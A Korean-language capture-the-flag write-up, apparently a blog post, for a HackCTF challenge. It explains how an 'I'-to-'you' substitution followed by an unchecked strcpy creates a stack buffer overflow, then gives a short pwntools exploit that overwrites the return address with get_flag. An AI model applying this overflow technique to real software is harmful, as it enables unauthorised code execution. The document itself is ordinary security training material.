728x90
Execute
입력을 받고 so문자열에 이어서 입력한 값을 출력해주는 형태의 프로그램이다.
Analyze
Nx bit만 걸려있는 것을 확인 할 수 있다.
Main
누가봐도 수상한 함수인 vuln함수를 호출하고 이외에는 별다른 동작을 하지 않는다.
Vuln
해당 함수에서는 fget을 통해 먼저 입력을 받는데 s변수의 위치가 ebp-3C인데 32byte만큼 입력 값을 제한하기 때문에 buffer overflow를 일으킬 수 없다. 하지만 아래쪽에서 I를 you로 바꿔주는 루틴을 수행하는데 이를 이용하면 strcpy에서 v0에 있는값을 s로 복사 할 때 길이에대한 검증을 하지 않기 때문에 buffer overflow를 트리거 할 수 있을 것이다.
Get_flag함수가 존재 하므로 해당 함수로 return address를 덮어 쓰면 될것이다.
Solve
먼저 앞에서 언급하였듯이 I를 입력하는 것은 dummy 3byte를 입력한 것과 동일하다. S변수가 ebp-3C에 위치하므로 dummy는 60개 이다. 또한 sfp가 존재하기 때문에 추가로 4byte가 필요하다. 결과적으로 payload는 아래와 같다.
I*20+sfp+get_flag
Exploit을 작성해보자.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3011)
get_flag=0x08048f0d
payload=b"I"*20+b"a"*4+p32(get_flag)
p.sendline(payload)
p.interactive()
성공적으로 flag를 얻을 수 있다. 비교적 매우 쉬웠던 것 같다.
728x90
'Wargmae > HackCTF' 카테고리의 다른 글
[Hack CTF - RTL_core] (0) | 2021.01.16 |
---|---|
[Hack CTF – poet] (0) | 2021.01.15 |
[Hack CTF - RTL_World] (2) | 2021.01.10 |
[Hack CTF - yes or no] (0) | 2021.01.09 |
[Hack CTF - BOF_PIE] (0) | 2021.01.09 |